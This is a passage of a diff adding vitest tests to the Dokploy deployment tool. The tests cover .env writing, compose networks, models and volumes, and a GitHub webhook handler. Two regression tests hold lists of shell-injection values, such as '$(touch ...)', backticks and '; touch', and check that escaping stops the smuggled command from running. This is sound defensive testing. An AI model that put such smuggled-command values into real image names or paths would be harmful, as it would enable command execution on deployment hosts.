|
||||
|
||||
// How each value must be typed in the UI so the (unchanged) dotenv input
|
||||
// parser resolves it to the raw string in `cases` above.
|
||||
const inputEncoding: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: `'!"#$%&/()=?'`,
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: `"abc#de"`,
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
|
||||
APP_URL: "https://example.com",
|
||||
ASSET_URL: '"${APP_URL}"',
|
||||
DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
|
||||
};
|
||||
|
||||
const hasDocker = () => {
|
||||
try {
|
||||
execFileSync("docker", ["info"], { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
describe.skipIf(!hasDocker())("getCreateEnvFileCommand", () => {
|
||||
it("writes special environment values that Docker Compose reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(inputEncoding)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = getCreateEnvFileCommand({
|
||||
appName,
|
||||
composePath: "docker-compose.yml",
|
||||
env: serviceEnv,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as Parameters<typeof getCreateEnvFileCommand>[0]);
|
||||
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
|
||||
cases,
|
||||
)
|
||||
.map((key) => ` - ${key}=\${${key}}`)
|
||||
.join("\n")}\n`;
|
||||
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
|
||||
|
||||
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
|
||||
|
||||
const out = execFileSync(
|
||||
"docker",
|
||||
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
|
||||
{ cwd: codePath, encoding: "utf8" },
|
||||
);
|
||||
|
||||
const parts = out.split("\0");
|
||||
const actual: Record<string, string> = {};
|
||||
for (let i = 0; i < parts.length - 1; i += 2) {
|
||||
actual[parts[i] as string] = parts[i + 1] as string;
|
||||
}
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(actual[key], key).toBe(value);
|
||||
}
|
||||
}, 60000);
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Compose now has a `createEnvFile` toggle (default true), mirroring the
|
||||
// Application builder's flag: when disabled, Dokploy never writes `.env`,
|
||||
// so a repo-tracked file survives untouched.
|
||||
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||
}));
|
||||
|
||||
const baseCompose = {
|
||||
appName: "env-file-toggle",
|
||||
sourceType: "raw",
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
composeType: "docker-compose",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
env: "FOO=bar",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||
|
||||
describe("getBuildComposeCommand createEnvFile toggle", () => {
|
||||
it("createEnvFile: false never writes the .env file", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: false,
|
||||
});
|
||||
|
||||
expect(command).not.toContain("base64 -d >");
|
||||
});
|
||||
|
||||
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: true,
|
||||
});
|
||||
|
||||
expect(command).toContain("base64 -d >");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,113 @@
|
||||
import type { Compose, ComposeSpecification } from "@dokploy/server";
|
||||
import {
|
||||
addAppNameToPreventCollision,
|
||||
addSuffixToAllProperties,
|
||||
} from "@dokploy/server";
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { expect, test, vi } from "vitest";
|
||||
import { stringify } from "yaml";
|
||||
import composeSpec from "../../../components/shared/compose-spec.json";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
|
||||
...(await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>()),
|
||||
execAsyncRemote: vi.fn(),
|
||||
}));
|
||||
|
||||
const modelCompose = {
|
||||
services: {
|
||||
app: {
|
||||
image: "my-chat-app",
|
||||
models: ["llm"],
|
||||
},
|
||||
worker: {
|
||||
image: "my-worker",
|
||||
models: {
|
||||
llm: {
|
||||
endpoint_var: "LLM_URL",
|
||||
model_var: "LLM_MODEL",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
models: {
|
||||
llm: {
|
||||
model: "ai/smollm2",
|
||||
context_size: 2048,
|
||||
runtime_flags: ["--verbose"],
|
||||
},
|
||||
},
|
||||
} satisfies ComposeSpecification;
|
||||
|
||||
test("bundled compose schema declares models", () => {
|
||||
expect(composeSpec.properties).toHaveProperty("models");
|
||||
expect(composeSpec.definitions.model.required).toEqual(["model"]);
|
||||
expect(composeSpec.definitions.service.properties).toHaveProperty("models");
|
||||
});
|
||||
|
||||
test("suffixing does not rename model identifiers or drop model config", () => {
|
||||
const updated = addSuffixToAllProperties(
|
||||
structuredClone(modelCompose),
|
||||
"testhash",
|
||||
);
|
||||
|
||||
expect(updated.models?.llm?.model).toBe("ai/smollm2");
|
||||
expect(updated.models?.llm?.context_size).toBe(2048);
|
||||
expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]);
|
||||
expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]);
|
||||
expect(updated.services?.["worker-testhash"]?.models).toEqual({
|
||||
llm: {
|
||||
endpoint_var: "LLM_URL",
|
||||
model_var: "LLM_MODEL",
|
||||
},
|
||||
});
|
||||
expect(updated.services).not.toHaveProperty("app");
|
||||
expect(updated.models).not.toHaveProperty("llm-testhash");
|
||||
});
|
||||
|
||||
test("isolated deployment preserves model identifiers", () => {
|
||||
const updated = addAppNameToPreventCollision(
|
||||
structuredClone(modelCompose),
|
||||
"chat-app",
|
||||
false,
|
||||
);
|
||||
|
||||
expect(updated.models?.llm?.model).toBe("ai/smollm2");
|
||||
expect(updated.services?.app?.models).toEqual(["llm"]);
|
||||
expect(updated.services?.worker?.models).toEqual({
|
||||
llm: {
|
||||
endpoint_var: "LLM_URL",
|
||||
model_var: "LLM_MODEL",
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
test("raw remote compose conversion preserves models", async () => {
|
||||
const converted = await addDomainToCompose(
|
||||
{
|
||||
appName: "chat-app",
|
||||
composeFile: stringify(modelCompose, { lineWidth: 1000 }),
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "docker-compose",
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
serverId: "remote-server",
|
||||
sourceType: "raw",
|
||||
suffix: "",
|
||||
} as unknown as Compose,
|
||||
[],
|
||||
);
|
||||
|
||||
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||
expect(converted?.models?.llm?.model).toBe("ai/smollm2");
|
||||
expect(converted?.services?.app?.models).toEqual(["llm"]);
|
||||
expect(converted?.services?.worker?.models).toEqual({
|
||||
llm: {
|
||||
endpoint_var: "LLM_URL",
|
||||
model_var: "LLM_MODEL",
|
||||
},
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,199 @@
|
||||
import type { Compose, ComposeSpecification } from "@dokploy/server";
|
||||
import {
|
||||
applyServiceNetworks,
|
||||
declareUsedNetworksInRoot,
|
||||
resolveServiceNetworks,
|
||||
} from "@dokploy/server";
|
||||
import { db } from "@dokploy/server/db";
|
||||
import { beforeEach, expect, test, type vi } from "vitest";
|
||||
import { parse } from "yaml";
|
||||
|
||||
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
findManyMock.mockReset();
|
||||
findManyMock.mockResolvedValue([]);
|
||||
});
|
||||
|
||||
const baseCompose = {
|
||||
serverId: null,
|
||||
isolatedDeployment: false,
|
||||
} as unknown as Compose;
|
||||
|
||||
const withServiceNetworks = (
|
||||
serviceNetworks: Compose["serviceNetworks"],
|
||||
): Compose => ({ ...baseCompose, serviceNetworks });
|
||||
|
||||
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.web?.networks).toBeUndefined();
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: injects assigned network by networkId", async () => {
|
||||
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "web",
|
||||
networkIds: ["net-1"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.has("shared-net")).toBe(true);
|
||||
expect(result.services?.web?.networks).toContain("shared-net");
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
db:
|
||||
image: postgres
|
||||
networks:
|
||||
- dokploy-network
|
||||
- default
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.db?.networks).not.toContain("dokploy-network");
|
||||
expect(result.services?.db?.networks).not.toContain("default");
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: unknown networkId is skipped", async () => {
|
||||
findManyMock.mockResolvedValue([]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "web",
|
||||
networkIds: ["missing"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
|
||||
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "ghost",
|
||||
networkIds: ["net-1"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.web?.networks).toBeUndefined();
|
||||
});
|
||||
|
||||
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
|
||||
const used = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- dokploy-network
|
||||
`) as ComposeSpecification;
|
||||
declareUsedNetworksInRoot(used, new Set());
|
||||
expect(used.networks).toHaveProperty("dokploy-network");
|
||||
|
||||
const unused = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- default
|
||||
`) as ComposeSpecification;
|
||||
declareUsedNetworksInRoot(unused, new Set());
|
||||
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
|
||||
});
|
||||
|
||||
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- shared-net
|
||||
`) as ComposeSpecification;
|
||||
|
||||
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
|
||||
|
||||
expect(result.networks).toHaveProperty("shared-net");
|
||||
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
|
||||
const resolved = await resolveServiceNetworks({});
|
||||
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
|
||||
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
|
||||
expect(resolved).toEqual([]);
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
|
||||
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
|
||||
|
||||
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
|
||||
|
||||
expect(resolved).toEqual([
|
||||
{ Target: "dokploy-network" },
|
||||
{ Target: "overlay-a" },
|
||||
]);
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
|
||||
const override = [{ Target: "custom-net" }];
|
||||
const resolved = await resolveServiceNetworks({ networkSwarm: override });
|
||||
|
||||
expect(resolved).toBe(override);
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockUpdateCompose = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server/services/permission", () => ({
|
||||
checkServicePermissionAndAccess: vi.fn(async () => undefined),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server", () => ({
|
||||
IS_CLOUD: true,
|
||||
findComposeById: vi.fn(async () => ({
|
||||
composeId: "compose-1",
|
||||
name: "example-compose",
|
||||
})),
|
||||
updateCompose: mockUpdateCompose,
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@/server/api/utils/audit", () => ({
|
||||
audit: vi.fn(async () => undefined),
|
||||
}));
|
||||
|
||||
vi.mock("@/server/queues/queueSetup", () => ({
|
||||
cleanQueuesByCompose: vi.fn(),
|
||||
killDockerBuild: vi.fn(),
|
||||
myQueue: {
|
||||
add: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
const { composeRouter } = await import("@/server/api/routers/compose");
|
||||
|
||||
const caller = composeRouter.createCaller({
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1", email: "user@example.com", role: "owner" },
|
||||
} as Parameters<typeof composeRouter.createCaller>[0]);
|
||||
|
||||
describe("saving a compose provider", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it.each(["done", "running"])(
|
||||
"keeps the %s status when disconnecting a Git provider",
|
||||
async (status) => {
|
||||
let savedStatus = status;
|
||||
mockUpdateCompose.mockImplementation(async (_id, update) => {
|
||||
if (update.composeStatus !== undefined) {
|
||||
savedStatus = update.composeStatus;
|
||||
}
|
||||
});
|
||||
|
||||
await caller.disconnectGitProvider({ composeId: "compose-1" });
|
||||
|
||||
expect(savedStatus).toBe(status);
|
||||
expect(mockUpdateCompose).toHaveBeenCalledTimes(1);
|
||||
expect(mockUpdateCompose).toHaveBeenCalledWith(
|
||||
"compose-1",
|
||||
expect.objectContaining({ sourceType: "github" }),
|
||||
);
|
||||
},
|
||||
);
|
||||
});
|
||||
@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
|
||||
);
|
||||
});
|
||||
|
||||
const composeFileAccessMode = `
|
||||
version: "3.8"
|
||||
|
||||
services:
|
||||
web:
|
||||
image: nginx:alpine
|
||||
volumes:
|
||||
- web_config:/etc/nginx/conf.d:ro
|
||||
- certs/sub:/etc/certs:Z
|
||||
`;
|
||||
|
||||
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
|
||||
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
|
||||
|
||||
const suffix = generateRandomHash();
|
||||
|
||||
if (!composeData.services) {
|
||||
return;
|
||||
}
|
||||
|
||||
const updatedComposeData = addSuffixToVolumesInServices(
|
||||
composeData.services,
|
||||
suffix,
|
||||
);
|
||||
|
||||
expect(updatedComposeData.web?.volumes).toContain(
|
||||
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
|
||||
);
|
||||
expect(updatedComposeData.web?.volumes).toContain(
|
||||
`certs-${suffix}/sub:/etc/certs:Z`,
|
||||
);
|
||||
});
|
||||
|
||||
const composeFileTypeVolume = `
|
||||
version: "3.8"
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
|
||||
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
|
||||
// path. `docker` is replaced by `:` so only the injection surface is exercised.
|
||||
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"redis:7; touch %MARK%",
|
||||
"redis:7 && touch %MARK%",
|
||||
"redis:7 | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("database service dockerImage command injection", () => {
|
||||
it("does not execute injected commands from dockerImage", () => {
|
||||
for (const template of PAYLOADS) {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const dockerImage = template.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}`;
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
expect(existsSync(MARK)).toBe(false);
|
||||
}
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
it("keeps a legitimate image tag intact", () => {
|
||||
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
|
||||
"postgres:16.4-alpine",
|
||||
]);
|
||||
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
|
||||
"ghcr.io/org/db:latest",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
|
||||
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
|
||||
// test exercises only the injection surface, not real docker.
|
||||
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
|
||||
|
||||
const runAndCheckSafe = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// no-op stand-ins may exit non-zero; only the marker matters.
|
||||
}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"x; touch %MARK%",
|
||||
"x && touch %MARK%",
|
||||
"x | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("docker build/pull command injection", () => {
|
||||
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerImage = p.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("dockerContextPath (docker-file: cd) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerContextPath = p.replace("%MARK%", MARK);
|
||||
const command = `: cd ${quote([dockerContextPath])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const publishDirectory = p.replace("%MARK%", MARK);
|
||||
const containerId = "buildabc";
|
||||
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate image / path intact as a single token", () => {
|
||||
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
|
||||
// the result back to exactly the original single token.
|
||||
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
|
||||
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
|
||||
"registry.io/team/app:tag",
|
||||
]);
|
||||
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,43 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, readFileSync, rmSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
|
||||
import { parse } from "dotenv";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Unlike compose's .env, this one is read by the app's own build tooling
|
||||
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
|
||||
const appName = `env-file-literals-dockerfile-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
const dockerFilePath = join(codePath, "Dockerfile");
|
||||
|
||||
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
BACKSLASH: "back\\slash",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
};
|
||||
|
||||
describe("createEnvFileCommand", () => {
|
||||
it("writes special environment values that a generic dotenv parser reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(cases)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const written = readFileSync(join(codePath, ".env"), "utf8");
|
||||
const parsed = parse(written);
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(parsed[key], key).toBe(value);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,480 @@
|
||||
import type { NextApiRequest, NextApiResponse } from "next";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
eq: vi.fn((field: string, value: unknown) => ({ field, value })),
|
||||
and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
|
||||
conditions,
|
||||
})),
|
||||
githubFindFirst: vi.fn(),
|
||||
applicationsFindMany: vi.fn(),
|
||||
composeFindMany: vi.fn(),
|
||||
queueAdd: vi.fn(),
|
||||
verify: vi.fn(),
|
||||
shouldDeploy: vi.fn(),
|
||||
createPreviewDeployment: vi.fn(),
|
||||
findPreviewDeploymentByApplicationId: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("drizzle-orm", () => ({
|
||||
eq: mocks.eq,
|
||||
and: mocks.and,
|
||||
}));
|
||||
|
||||
vi.mock("@/server/db/schema", () => ({
|
||||
applications: {
|
||||
sourceType: "application.sourceType",
|
||||
autoDeploy: "application.autoDeploy",
|
||||
triggerType: "application.triggerType",
|
||||
branch: "application.branch",
|
||||
repository: "application.repository",
|
||||
owner: "application.owner",
|
||||
githubId: "application.githubId",
|
||||
isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
|
||||
},
|
||||
compose: {
|
||||
sourceType: "compose.sourceType",
|
||||
autoDeploy: "compose.autoDeploy",
|
||||
triggerType: "compose.triggerType",
|
||||
branch: "compose.branch",
|
||||
repository: "compose.repository",
|
||||
owner: "compose.owner",
|
||||
githubId: "compose.githubId",
|
||||
},
|
||||
github: {
|
||||
githubInstallationId: "github.githubInstallationId",
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
github: {
|
||||
findFirst: mocks.githubFindFirst,
|
||||
},
|
||||
applications: {
|
||||
findMany: mocks.applicationsFindMany,
|
||||
},
|
||||
compose: {
|
||||
findMany: mocks.composeFindMany,
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server", () => ({
|
||||
IS_CLOUD: false,
|
||||
shouldDeploy: mocks.shouldDeploy,
|
||||
checkUserRepositoryPermissions: vi.fn(),
|
||||
createPreviewDeployment: mocks.createPreviewDeployment,
|
||||
createSecurityBlockedComment: vi.fn(),
|
||||
findGithubById: vi.fn(),
|
||||
findPreviewDeploymentByApplicationId:
|
||||
mocks.findPreviewDeploymentByApplicationId,
|
||||
findPreviewDeploymentsByPullRequestId: vi.fn(),
|
||||
getBitbucketHeaders: vi.fn(() => ({})),
|
||||
removePreviewDeployment: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@octokit/webhooks", () => ({
|
||||
Webhooks: vi.fn().mockImplementation(function Webhooks() {
|
||||
return {
|
||||
verify: mocks.verify,
|
||||
};
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.mock("@/server/queues/queueSetup", () => ({
|
||||
myQueue: {
|
||||
add: mocks.queueAdd,
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@/server/utils/deploy", () => ({
|
||||
deploy: vi.fn(),
|
||||
}));
|
||||
|
||||
import handler from "@/pages/api/deploy/github";
|
||||
|
||||
const getConditionValue = (
|
||||
where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
|
||||
field: string,
|
||||
) => where?.conditions?.find((condition) => condition.field === field)?.value;
|
||||
|
||||
const createResponse = () => {
|
||||
const res = {
|
||||
status: vi.fn(),
|
||||
json: vi.fn(),
|
||||
} as unknown as NextApiResponse & {
|
||||
status: ReturnType<typeof vi.fn>;
|
||||
json: ReturnType<typeof vi.fn>;
|
||||
};
|
||||
|
||||
res.status.mockImplementation(() => res);
|
||||
res.json.mockImplementation(() => res);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
const createPushRequest = (
|
||||
branch: string,
|
||||
owner: { login?: string; name?: string } = { login: "agentHits" },
|
||||
) =>
|
||||
({
|
||||
headers: {
|
||||
"x-hub-signature-256": "sha256=test-signature",
|
||||
"x-github-event": "push",
|
||||
},
|
||||
body: {
|
||||
installation: {
|
||||
id: 12345,
|
||||
},
|
||||
ref: `refs/heads/${branch}`,
|
||||
after: "abc123",
|
||||
head_commit: {
|
||||
message: "fix: trigger deployment",
|
||||
},
|
||||
commits: [
|
||||
{
|
||||
modified: ["src/index.ts"],
|
||||
},
|
||||
],
|
||||
repository: {
|
||||
name: "dokploy",
|
||||
full_name: "agentHits/dokploy",
|
||||
clone_url: "https://github.com/agentHits/dokploy.git",
|
||||
html_url: "https://github.com/agentHits/dokploy",
|
||||
owner,
|
||||
},
|
||||
},
|
||||
}) as unknown as NextApiRequest;
|
||||
|
||||
const createTagRequest = (tagName: string) => {
|
||||
const req = createPushRequest("main") as unknown as {
|
||||
body: { ref: string; head_commit: { message: string } };
|
||||
};
|
||||
|
||||
req.body.ref = `refs/tags/${tagName}`;
|
||||
req.body.head_commit.message = `release: ${tagName}`;
|
||||
|
||||
return req as unknown as NextApiRequest;
|
||||
};
|
||||
|
||||
describe("GitHub app webhook auto-deploy", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.githubFindFirst.mockResolvedValue({
|
||||
githubId: "github-provider-id",
|
||||
githubInstallationId: 12345,
|
||||
githubWebhookSecret: "webhook-secret",
|
||||
});
|
||||
mocks.verify.mockResolvedValue(true);
|
||||
mocks.shouldDeploy.mockReturnValue(true);
|
||||
mocks.composeFindMany.mockResolvedValue([]);
|
||||
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
|
||||
|
||||
mocks.applicationsFindMany.mockImplementation(({ where }) => {
|
||||
const matches =
|
||||
getConditionValue(where, "application.sourceType") === "github" &&
|
||||
